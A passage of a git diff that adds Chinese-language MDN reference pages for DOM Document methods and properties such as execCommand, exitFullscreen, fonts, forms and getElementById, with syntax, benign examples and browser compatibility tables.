<td><code>ANY_UNORDERED_NODE_TYPE</code></td> + <td>8</td> + <td>A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.</td> + </tr> + <tr> + <td><code>FIRST_ORDERED_NODE_TYPE</code></td> + <td>9</td> + <td>A result set containing the first node in the document that matches the expression.</td> + </tr> + </tbody> +</table> + +<p>Results of <code>NODE_ITERATOR</code> types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.</p> + +<p>Results of <code>NODE_SNAPSHOT</code> types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}</td> + <td>{{Spec2("DOM3 XPath")}}</td> + <td>Initial specification</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.evaluate")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{domxref("Document.createExpression()")}}</li> + <li>{{domxref("XPathResult")}}</li> + <li><a href="/zh-CN/docs/Code_snippets/XPath">XPath Code Snippets</a></li> + <li><a href="http://codepen.io/johan/full/ckFgn">Check for browser support</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/execcommand/index.html b/files/zh-cn/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..95624325e6 --- /dev/null +++ b/files/zh-cn/web/api/document/execcommand/index.html @@ -0,0 +1,175 @@ +--- +title: document.execCommand +slug: Web/API/Document/execCommand +tags: + - API + - DOM + - 参考 + - 方法 +translation_of: Web/API/Document/execCommand +--- +<div>{{ApiRef("DOM")}}{{Obsolete_header}}</div> + +<p id="当一个HTML文档切换到设计模式_designMode时，文档对象暴露_execCommand_方法，该方法允许运行命令来操纵可编辑区域的内容。大多数命令影响文档的选择（粗体，斜体等），而其他命令插入新元素（添加链接）或影响整行（缩进）。当使用contentEditable时，调用_execCommand()_将影响当前活动的可编辑元素">当一个HTML文档切换到设计模式时，<code>document</code>暴露 <strong><code>execCommand</code> </strong>方法，该方法允许运行命令来操纵<a href="/zh-CN/docs/Web/HTML/Global_attributes/contenteditable">可编辑内容区域</a>的元素。</p> + +<p>大多数命令影响<code>document</code>的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Selection">selection</a>（粗体，斜体等），当其他命令插入新元素（添加链接）或影响整行（缩进）。当使用<code>contentEditable</code>时，调用 <code>execCommand()</code> 将影响当前活动的可编辑元素。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><em>bool</em> = document.execCommand(<em>aCommandName</em>, <em>aShowDefaultUI</em>, <em>aValueArgument</em>) +</pre> + +<h3 id="返回值">返回值</h3> + +<p>一个 {{jsxref('Boolean')}} ，如果是 <code>false</code> 则表示操作不被支持或未被启用。</p> + +<div class="note"> +<p>注意：在调用一个命令前，不要尝试使用返回值去校验浏览器的兼容性</p> +</div> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>aCommandName</code></dt> + <dd>一个 {{domxref("DOMString")}} ，命令的名称。可用命令列表请参阅 {{anch("命令")}} 。</dd> + <dt><code>aShowDefaultUI</code></dt> + <dd>一个 {{jsxref("Boolean")}}， 是否展示用户界面，一般为 false。Mozilla 没有实现。</dd> + <dt><code>aValueArgument</code></dt> + <dd>一些命令（例如insertImage）需要额外的参数（insertImage需要提供插入image的url），默认为null。</dd> +</dl> + +<h3 id="命令">命令</h3> + +<dl> + <dt><code>backColor</code></dt> + <dd>修改文档的背景颜色。在styleWithCss模式下，则只影响容器元素的背景颜色。这需要一个{{cssxref("<color>")}} 类型的字符串值作为参数传入。注意，IE浏览器用这个设置文字的背景颜色。</dd> + <dt><code>bold</code></dt> + <dd>开启或关闭选中文字或插入点的粗体字效果。IE浏览器使用 {{HTMLElement("strong")}}标签，而不是{{HTMLElement("b")}}标签。</dd> + <dt><code>ClearAuthenticationCache</code></dt> + <dd>清除缓存中的所有身份验证凭据。</dd> + <dt><code>contentReadOnly</code></dt> + <dd>通过传入一个布尔类型的参数来使能文档内容的可编辑性。(IE浏览器不支持)</dd> + <dt><code>copy</code></dt> + <dd>拷贝当前选中内容到剪贴板。启用这个功能的条件因浏览器不同而不同，而且不同时期，其启用条件也不尽相同。使用之前请检查浏览器兼容表，以确定是否可用。</dd> + <dt><code>createLink</code></dt> + <dd>将选中内容创建为一个锚链接。这个命令需要一个<code>href</code>URI字符串作为参数值传入。URI必须包含至少一个字符，例如一个空格。（浏览器会创建一个空链接）</dd> + <dt><code>cut</code></dt> + <dd> 剪贴当前选中的文字并复制到剪贴板。启用这个功能的条件因浏览器不同而不同，而且不同时期，其启用条件也不尽相同。使用之前请检查浏览器兼容表，以确定是否可用。</dd> + <dt><code>decreaseFontSize</code></dt> + <dd> 给选中文字加上 {{HTMLElement("small")}} 标签，或在选中点插入该标签。(IE浏览器不支持)</dd> + <dt><code>defaultParagraphSeparator</code></dt> + <dd>更改在可编辑文本区域中创建新段落时使用的段落分隔符。有关更多详细信息，请参阅<a href="/zh-CN/docs/Web/Guide/HTML/Content_Editable#Differences_in_markup_generation">标记生成的差异</a>。</dd> + <dt><code>delete</code></dt> + <dd>删除选中部分.</dd> + <dt><code>enableAbsolutePositionEditor</code></dt> + <dd>启用或禁用允许移动绝对定位元素的抓取器。Firefox 63 Beta/Dev Edition 默认禁用此功能({{bug(1449564)}})。</dd> + <dt><code>enableInlineTableEditing</code></dt> + <dd>启用或禁用表格行和列插入和删除控件。(IE浏览器不支持)</dd> + <dt><code>enableObjectResizing</code></dt> + <dd>启用或禁用图像和其他对象的大小可调整大小手柄。(IE浏览器不支持)</dd> + <dt><code>fontName</code></dt> + <dd>在插入点或者选中文字部分修改字体名称. 需要提供一个字体名称字符串 (例如："Arial")作为参数。</dd> + <dt><code>fontSize</code></dt> + <dd>在插入点或者选中文字部分修改字体大小. 需要提供一个HTML字体尺寸 (1-7) 作为参数。</dd> + <dt><code>foreColor</code></dt> + <dd>在插入点或者选中文字部分修改字体颜色. 需要提供一个颜色值字符串作为参数。</dd> + <dt><code>formatBlock</code></dt> + <dd>添加一个HTML块式标签在包含当前选择的行, 如果已经存在了，更换包含该行的块元素 (在 Firefox中, BLOCKQUOTE 是一个例外 -它将包含任何包含块元素). 需要提供一个标签名称字符串作为参数。几乎所有的块样式标签都可以使用(例如. "H1", "P", "DL", "BLOCKQUOTE"). (IE浏览器仅仅支持标题标签 H1 - H6, ADDRESS, 和 PRE,使用时还必须包含标签分隔符 < >, 例如 "<H1>".)</dd> + <dt><code>forwardDelete</code></dt> + <dd>删除光标所在位置的字符。 和按下删除键一样。</dd> + <dt><code>heading</code></dt> + <dd>添加一个标题标签在光标处或者所选文字上。 需要提供标签名称字符串作为参数 (例如. "H1", "H6"). (IE 和 Safari不支持)</dd> + <dt><code>hiliteColor</code></dt> + <dd>更改选择或插入点的背景颜色。需要一个颜色值字符串作为值参数传递。 UseCSS 必须开启此功能。(IE浏览器不支持)</dd> + <dt><code>increaseFontSize</code></dt> + <dd>在选择或插入点周围添加一个BIG标签。(IE浏览器不支持)</dd> + <dt><code>indent</code></dt> + <dd>缩进选择或插入点所在的行， 在 Firefox 中, 如果选择多行，但是这些行存在不同级别的缩进, 只有缩进最少的行被缩进。</dd> + <dt><code>insertBrOnReturn</code></dt> + <dd>控制当按下Enter键时，是插入 br 标签还是把当前块元素变成两个。(IE浏览器不支持)</dd> + <dt><code>insertHorizontalRule</code></dt> + <dd>在插入点插入一个水平线（删除选中的部分）</dd> + <dt><code>insertHTML</code></dt> + <dd>在插入点插入一个HTML字符串（删除选中的部分）。需要一个个HTML字符串作为参数。(IE浏览器不支持)</dd> + <dt><code>insertImage</code></dt> + <dd>在插入点插入一张图片（删除选中的部分）。需要一个 URL 字符串作为参数。这个 URL 图片地址至少包含一个字符。空白字符也可以（IE会创建一个链接其值为null）</dd> + <dt><code>insertOrderedList</code></dt> + <dd>在插入点或者选中文字上创建一个有序列表</dd> + <dt><code>insertUnorderedList</code></dt> + <dd>在插入点或者选中文字上创建一个无序列表。</dd> + <dt><code>insertParagraph</code></dt> + <dd>在选择或当前行周围插入一个段落。(IE会在插入点插入一个段落并删除选中的部分.)</dd> + <dt><code>insertText</code></dt> + <dd>在光标插入位置插入文本内容或者覆盖所选的文本内容。</dd> + <dt><code>italic</code></dt> + <dd>在光标插入点开启或关闭斜体字。 (Internet Explorer 使用 EM 标签，而不是 I )</dd> + <dt><code>justifyCenter</code></dt> + <dd>对光标插入位置或者所选内容进行文字居中。</dd> + <dt><code>justifyFull</code></dt> + <dd>对光标插入位置或者所选内容进行文本对齐。</dd> + <dt><code>justifyLeft</code></dt> + <dd>对光标插入位置或者所选内容进行左对齐。</dd> + <dt><code>justifyRight</code></dt> + <dd>对光标插入位置或者所选内容进行右对齐。</dd> + <dt><code>outdent</code></dt> + <dd>对光标插入行或者所选行内容减少缩进量。</dd> + <dt><code>paste</code></dt> + <dd>在光标位置粘贴剪贴板的内容，如果有被选中的内容，会被替换。剪贴板功能必须在 user.js 配置文件中启用。参阅 [1].</dd> + <dt><code>redo</code></dt> + <dd>重做被撤销的操作。</dd> + <dt><code>removeFormat</code></dt> + <dd>对所选内容去除所有格式</dd> + <dt><code>selectAll</code></dt> + <dd>选中编辑区里的全部内容。</dd> + <dt><code>strikeThrough</code></dt> + <dd>在光标插入点开启或关闭删除线。</dd> + <dt><code>subscript</code></dt> + <dd>在光标插入点开启或关闭下角标。</dd> + <dt><code>superscript</code></dt> + <dd>在光标插入点开启或关闭上角标。</dd> + <dt><code>underline</code></dt> + <dd>在光标插入点开启或关闭下划线。</dd> + <dt><code>undo</code></dt> + <dd>撤销最近执行的命令。</dd> + <dt><code>unlink</code></dt> + <dd>去除所选的锚链接的<a>标签</dd> + <dt><code>useCSS</code> {{Deprecated_inline}}</dt> + <dd>切换使用 HTML tags 还是 CSS 来生成标记. 要求一个布尔值 true/false 作为参数。注: 这个属性是逻辑上的倒退 (例如. use false to use CSS, true to use HTML).(IE不支持)<br> + 该属性已经废弃，使用 styleWithCSS 代替。</dd> + <dt><code>styleWithCSS</code></dt> + <dd>用这个取代 useCSS 命令。 参数如预期的那样工作, i.e. true modifies/generates 风格的标记属性, false 生成格式化元素。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>CodePen 中关于 <a href="http://codepen.io/netsi1964/full/QbLLGW/">如何使用</a> 如何使用的一个例子。</p> + +<h2 id="规范">规范</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}</td> + <td>{{Spec2('HTML Editing')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.Document.execCommand")}}</p> + +<h2 id="参阅">参阅</h2> + +<ul> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li>{{domxref("document.designMode")}}</li> + <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li> + <li><a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a> with bugs related to <code>document.execCommand</code>.{{CompatUnknown}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/exitfullscreen/index.html b/files/zh-cn/web/api/document/exitfullscreen/index.html new file mode 100644 index 0000000000..4cf18e65ff --- /dev/null +++ b/files/zh-cn/web/api/document/exitfullscreen/index.html @@ -0,0 +1,114 @@ +--- +title: Document.exitFullscreen() +slug: Web/API/Document/exitFullscreen +translation_of: Web/API/Document/exitFullscreen +--- +<div>{{ApiRef("Fullscreen API")}}</div> + +<p><code><strong>Document.exitFullscreen()</strong></code> 方法用于让当前文档退出全屏模式（原文表述不准确，详见备注）。调用这个方法会让文档回退到上一个调用{{domxref("Element.requestFullscreen()")}}方法进入全屏模式之前的状态。</p> + +<div class="note"><strong>备注:</strong> 如果一个元素A在请求进去全屏模式之前，已经存在其他元素处于全屏状态，当这个元素A退出全屏模式之后，之前的元素仍然处于全屏状态。浏览器内部维护了一个全屏元素栈用于实现这个目的。</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">document.exitFullscreen(); +</pre> + +<h2 id="示例">示例</h2> + +<pre class="brush: js">// 点击切换全屏模式 +document.onclick = function (event) { + if (document.fullscreenElement) { + document.exitFullscreen() + } else { + document.documentElement.requestFullscreen() + } +};</pre> + +<h2 id="API规格">API规格</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}}</td> + <td>{{Spec2("Fullscreen")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br> + {{CompatChrome(45)}} (unprefixed)</td> + <td>{{CompatGeckoDesktop("9.0")}} as <code>mozCancelFullScreen</code><sup>[1]</sup><br> + {{CompatGeckoDesktop("47.0")}}<sup>[1]</sup> (behind <code>full-screen-api.unprefix.enabled</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webkit</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br> + {{CompatChrome(45)}} (unprefixed)</td> + <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br> + {{CompatChrome(45)}} (unprefixed)</td> + <td>{{CompatGeckoMobile("9.0")}} as <code>mozCancelFullScreen</code><sup>[1]</sup><br> + {{CompatGeckoMobile("47.0")}}<sup>[1]</sup> (behind <code>full-screen-api.unprefix.enabled</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] 可通过<code><strong>Document.exitFullscreen()</strong></code>方法让全屏元素栈的栈顶元素退出全屏状态，并让新的栈顶的元素进入全屏状态。此特征在Gecko 11.0 {{geckoRelease("11.0")}}中被实现.</p> + +<h2 id="参阅">参阅</h2> + +<ul> + <li><a href="/en/DOM/Using_full-screen_mode" title="en/DOM/Using full-screen mode">Using full-screen mode</a></li> + <li>{{ domxref("Element.requestFullscreen()") }}</li> + <li>{{ domxref("Document.exitFullscreen()") }}</li> + <li>{{ domxref("Document.fullscreen") }}</li> + <li>{{ domxref("Document.fullscreenElement") }}</li> + <li>{{ cssxref(":fullscreen") }}</li> + <li>{{ HTMLAttrXRef("allowfullscreen", "iframe") }}</li> +</ul> diff --git a/files/zh-cn/web/api/document/exitpointerlock/index.html b/files/zh-cn/web/api/document/exitpointerlock/index.html new file mode 100644 index 0000000000..0a99a81ea2 --- /dev/null +++ b/files/zh-cn/web/api/document/exitpointerlock/index.html @@ -0,0 +1,105 @@ +--- +title: Document.exitPointerLock() +slug: Web/API/Document/exitPointerLock +translation_of: Web/API/Document/exitPointerLock +--- +<p>{{ apiref("DOM") }}</p> + +<p>{{ seeCompatTable }}</p> + +<p><code>exitPointerLock</code> 方法可异步的解锁鼠标（通过{{domxref("Element.requestPointerLock")}}锁定的）。</p> + +<p>追踪是否解锁成功，需要监听{{event("pointerlockchange")}} 和{{event("pointerlockerror")}} 事件。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval">document.exitPointerLock(); +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}</td> + <td>{{Spec2('Pointer Lock')}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatVersionUnknown() }} {{property_prefix("moz")}}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + <tr> + <td>Unprefixed support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop(50)}}</td> + <td> </td> + <td> </td> + <td> </td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{ domxref("Document.pointerLockElement") }}</li> + <li>{{ domxref("Element.requestPointerLock()") }}</li> + <li><a href="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/fgcolor/index.html b/files/zh-cn/web/api/document/fgcolor/index.html new file mode 100644 index 0000000000..f4df5db364 --- /dev/null +++ b/files/zh-cn/web/api/document/fgcolor/index.html @@ -0,0 +1,40 @@ +--- +title: document.fgColor +slug: Web/API/Document/fgColor +translation_of: Web/API/Document/fgColor +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Summary" name="Summary">概述</h3> + +<p>{{ Deprecated_header() }} <code>fgColor属性用来获取或设置当前文档的前景色或者文本颜色.</code></p> + +<h3 id="Syntax" name="Syntax">语法</h3> + +<pre class="eval"> var <em>color</em> = document.fgColor; + document.fgColor = <em>color;</em> +</pre> + +<h3 id="Parameters" name="Parameters">参数</h3> + +<ul> + <li><code>color</code> 是一个颜色值,可以为一个颜色类型,比如"red",或者一个16进制RGB值,比如 "<code>#ff0000</code>".</li> +</ul> + +<h3 id="Example" name="Example">例子</h3> + +<pre class="eval">document.fgColor = "white"; +document.bgColor = "darkblue"; +</pre> + +<h3 id="Notes" name="Notes">备注</h3> + +<p>在Mozilla Firefox中,该属性的默认值是黑色.(<code>black或者#000000</code>).</p> + +<p><code>document.fgColor</code> 属性已经在<a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2</a>中被废弃.推荐使用的<code>css</code>属性为{{ Cssxref("color") }} (用法为 <code>document.body.style.color = "red"</code>).</p> + +<p>另外一个类似的属性是 <code>document.body.text</code>, 该属性也在 <a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-text">HTML 4.01</a> 中被废弃,推荐使用CSS属性.</p> + +<h3 id="Specification" name="Specification">规范</h3> + +<p>{{Compat("api.Document.fgColor")}}</p> diff --git a/files/zh-cn/web/api/document/fonts/index.html b/files/zh-cn/web/api/document/fonts/index.html new file mode 100644 index 0000000000..c6b680f6e4 --- /dev/null +++ b/files/zh-cn/web/api/document/fonts/index.html @@ -0,0 +1,57 @@ +--- +title: fonts +slug: Web/API/Document/fonts +translation_of: Web/API/Document/fonts +--- +<p><span class="seoSummary">{{domxref("Document")}}的 <strong><code>fonts</code></strong> 属性接口返回文档的 {{domxref("FontFaceSet")}} 接口。</span></p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><var>let fontFaceSet</var> = <em>document</em>.fonts;</pre> + +<h3 id="值">值</h3> + +<p>返回值是文档的 {{domxref("FontFaceSet")}} 接口。<code>FontFaceSet</code> 接口对 加载新字体、检查已加载字体的加载状态 来说非常有用。</p> + +<h2 id="Example" name="Example">例子</h2> + +<h3 id="在所有字体加载完成后进行操作">在所有字体加载完成后进行操作</h3> + +<pre class="brush: js">document.fonts.ready.then(function() { + // 字体加载完成后的逻辑 +}); +</pre> + +<h2 id="Specifications" name="Specifications">说明</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Font Loading','#FontFaceSet-interface','FontFaceSet')}}</td> + <td>{{Spec2('CSS3 Font Loading')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="See_Also" name="See_Also">浏览器兼容性</h2> + +<div class="hidden">这个兼容性表格是从结构数据自动生成的。如果你有兴趣来贡献这个数据，请查看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并给我们发pull request。</div> + +<p>{{Compat("api.Document.fonts")}}</p> + +<h2 id="See_Also" name="See_Also">参考资料</h2> + +<ul> + <li><span class="seoSummary">{{domxref("FontFaceSet")}} interface</span></li> + <li><span class="seoSummary">{{domxref("FontFace")}}</span></li> +</ul> + +<div>{{APIRef("DOM")}}</div> diff --git a/files/zh-cn/web/api/document/forms/index.html b/files/zh-cn/web/api/document/forms/index.html new file mode 100644 index 0000000000..12b223e905 --- /dev/null +++ b/files/zh-cn/web/api/document/forms/index.html @@ -0,0 +1,61 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - Document.forms +translation_of: Web/API/Document/forms +--- +<p>{{APIRef("DOM")}}</p> + +<p><code><strong>forms</strong> </code>返回当前文档中的 {{HTMLElement("form")}}元素的一个集合(一个 {{domxref("HTMLCollection")}})。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval"><code>let collection</code> = document.forms; +</pre> + +<h2 id="Example" name="Example">例子: 获取表单信息</h2> + +<pre class="brush: html"><html> + +<head> +<title> document.forms example</title> +</head> + +<body> +<form id="robby"> + <input type="button" onclick="alert(document.forms[0].id);" + value="robby's form" /> +</form> + +<form id="dave"> + <input type="button" onclick="alert(document.forms[1].id);" + value="dave's form" /> +</form> + +<form id="paul"> + <input type="button" onclick="alert(document.forms[2].id);" + value="paul's form" /> +</form> + +</body> +</html> +</pre> + +<h2 id="例子_获取表单内的元素"> 例子: 获取表单内的元素</h2> + +<pre class="brush: js">var selectForm = document.forms[index]; +var selectFormElement = document.forms[index].elements[index]; +</pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-1689064">forms DOM Level 2 HTML: forms</a></p> + +<h2 id="See_Also" name="See_Also">相关链接</h2> + +<ul> + <li><a href="/zh-cn/DOM/HTMLFormElement" title="zh-cn/DOM/form">DOM:form</a></li> +</ul> + +<p>{{ languages( { "ja": "ja/DOM/document.forms", "pl": "pl/DOM/document.forms" , "en": "en/DOM/document.forms" } ) }}</p> diff --git a/files/zh-cn/web/api/document/fullscreenchange_event/index.html b/files/zh-cn/web/api/document/fullscreenchange_event/index.html new file mode 100644 index 0000000000..7a76557101 --- /dev/null +++ b/files/zh-cn/web/api/document/fullscreenchange_event/index.html @@ -0,0 +1,85 @@ +--- +title: fullscreenchange +slug: Web/API/Document/fullscreenchange_event +translation_of: Web/API/Document/fullscreenchange_event +--- +<p>fullscreenchange事件当浏览器进入或离开全屏时触发.</p> + +<h2 id="General_info">General info</h2> + +<dl> + <dt style="float: left; text-align: right; width: 120px;">Specification</dt> + <dd style="margin: 0 0 0 120px;"><a class="external" href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Fullscreen</a></dd> + <dt style="float: left; text-align: right; width: 120px;">Interface</dt> + <dd style="margin: 0 0 0 120px;">Event</dd> + <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt> + <dd style="margin: 0 0 0 120px;">No</dd> + <dt style="float: left; text-align: right; width: 120px;">Target</dt> + <dd style="margin: 0 0 0 120px;">Document</dd> + <dt style="float: left; text-align: right; width: 120px;">Default Action</dt> + <dd style="margin: 0 0 0 120px;">None</dd> +</dl> + +<h2 id="Properties">Properties</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>{{domxref("EventTarget")}}</td> + <td>The event target (the topmost target in the DOM tree).</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td>{{domxref("DOMString")}}</td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td>{{jsxref("Boolean")}}</td> + <td>Whether the event normally bubbles or not.</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td>{{jsxref("Boolean")}}</td> + <td>Whether the event is cancellable or not.</td> + </tr> + </tbody> +</table> + +<h2 id="Example">Example</h2> + +<pre class="brush:js;">// Note that the API is still vendor-prefixed in browsers implementing it +document.addEventListener("fullscreenchange", function( event ) { + + // The event object doesn't carry information about the fullscreen state of the browser, + // but it is possible to retrieve it through the fullscreen API + if ( document.fullscreenElement !== null ) { + + // The target of the event is always the document, + // but it is possible to retrieve the fullscreen element through the API + document.fullscreenElement; + } + +});</pre> + +<h2 id="Related_Events">Related Events</h2> + +<ul> + <li><a href="/en-US/docs/Mozilla_event_reference/fullscreenerror"><code>fullscreenerror</code></a></li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/DOM/Using_full-screen_mode">Using fullscreen mode</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/getelementbyid/index.html b/files/zh-cn/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..176e2d80a4 --- /dev/null +++ b/files/zh-cn/web/api/document/getelementbyid/index.html @@ -0,0 +1,147 @@ +--- +title: document.getElementById +slug: Web/API/Document/getElementById +tags: + - API + - DOM + - 元素 + - 选择器 +translation_of: Web/API/Document/getElementById +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>{{domxref("Document")}}的方法 {{domxref("Document.getElementById", "getElementById()")}}返回一个匹配特定 <a href="/en-US/docs/DOM/element.id" title="en-US/docs/DOM/element.id">ID</a>的元素. 由于元素的 ID 在大部分情况下要求是独一无二的，这个方法自然而然地成为了一个高效查找特定元素的方法。</p> + +<p>如果需要查找到那些没有ID 的元素，你可以考虑通过CSS选择器使用 {{domxref("Document.querySelector", "querySelector()")}}。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="brush: js notranslate">var element = document.getElementById(<em>id</em>); +</pre> + +<h3 id="参数">参数</h3> + +<ul> + <li><strong><code>element</code></strong>是一个 <a href="/zh-CN/docs/Web/API/Element" title="en-US/docs/DOM/element">Element</a> 对象。如果当前文档中拥有特定ID的元素不存在则返回null.</li> + <li><strong><code>id</code></strong>是大小写敏感的字符串，代表了所要查找的元素的唯一ID.</li> +</ul> + +<h3 id="返回值">返回值</h3> + +<p>返回一个匹配到 ID 的 DOM {{domxref("Element")}} 对象。若在当前 {{domxref("Document")}} 下没有找到，则返回 null。</p> + +<h2 id="Example" name="Example">示例</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> +<head> + <title>getElementById example</title> +</head> +<body> + <p id="para">Some text here</p> + <button onclick="changeColor('blue');">blue</button> + <button onclick="changeColor('red');">red</button> +</body> +</html> +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js notranslate"><code>function changeColor(newColor) {</code> +<code> var elem = document.getElementById('para'); + elem.style.color = newColor; +}</code> +</pre> + +<h3 id="执行结果">执行结果</h3> + +<p>{{ EmbedLiveSample('Example1', 250, 100) }}</p> + +<h2 id="注意"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.5rem;'>注意</span></h2> + +<p>对 “Id” 的拼写一定要正确。如果大小写不匹配，无论看起来多么合情合理，<code>getElementByID()</code> 都是不合理的且永远都不会工作的。</p> + +<p>不同于其他 <code>Element</code> 查找方法（如{{domxref("Document.querySelector()")}} 以及 {{domxref("Document.querySelectorAll()")}}），<code>getElementById()</code> 只有在作为 <code>document</code> 